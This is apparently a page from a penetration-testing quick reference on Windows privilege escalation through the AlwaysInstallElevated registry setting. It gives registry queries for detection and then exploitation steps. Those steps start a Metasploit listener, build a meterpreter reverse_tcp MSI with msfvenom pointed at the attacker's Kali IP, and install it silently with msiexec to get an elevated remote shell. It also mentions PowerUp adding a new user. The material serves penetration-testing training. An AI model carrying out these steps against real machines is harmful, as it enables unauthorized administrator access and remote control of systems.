> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/privilege-escalation/windows-priv-esc/registry-escalation-alwaysinstallelevated.md). # Registry Escalation - AlwaysInstallElevated ### Detection 1.Open command prompt and type: ``` reg query HKLM\Software\Policies\Microsoft\Windows\Installer ```

2.From the output, notice that “AlwaysInstallElevated” value is 1.\ 3.In command prompt type: ``` reg query HKCU\Software\Policies\Microsoft\Windows\Installer ```

4.From the output, notice that “AlwaysInstallElevated” value is 1. ### Exploitation #### Exploitation through power up Powerup can actuallty detect it and exploit it.

**Generation MSI**

**It will pop up and add a new user**

#### 2nd Method - Kali VM 1\. Open command prompt and type: msfconsole\ 2\. In Metasploit (msf > prompt) type: use multi/handler\ 3\. In Metasploit (msf > prompt) type: set payload windows/meterpreter/reverse\_tcp\ 4\. In Metasploit (msf > prompt) type: set lhost \[Kali VM IP Address]\ 5\. In Metasploit (msf > prompt) type: run\ 6\. Open an additional command prompt and type: msfvenom -p windows/meterpreter/reverse\_tcp lhost=\[Kali VM IP Address] -f msi -o setup.msi\ 7\. Copy the generated file, setup.msi, to the Windows VM.
#### Windows VM 1.Place ‘setup.msi’ in ‘C:\Temp’.\ 2.Open command prompt and type: ``` msiexec /quiet /qn /i C:\Temp\setup.msi ```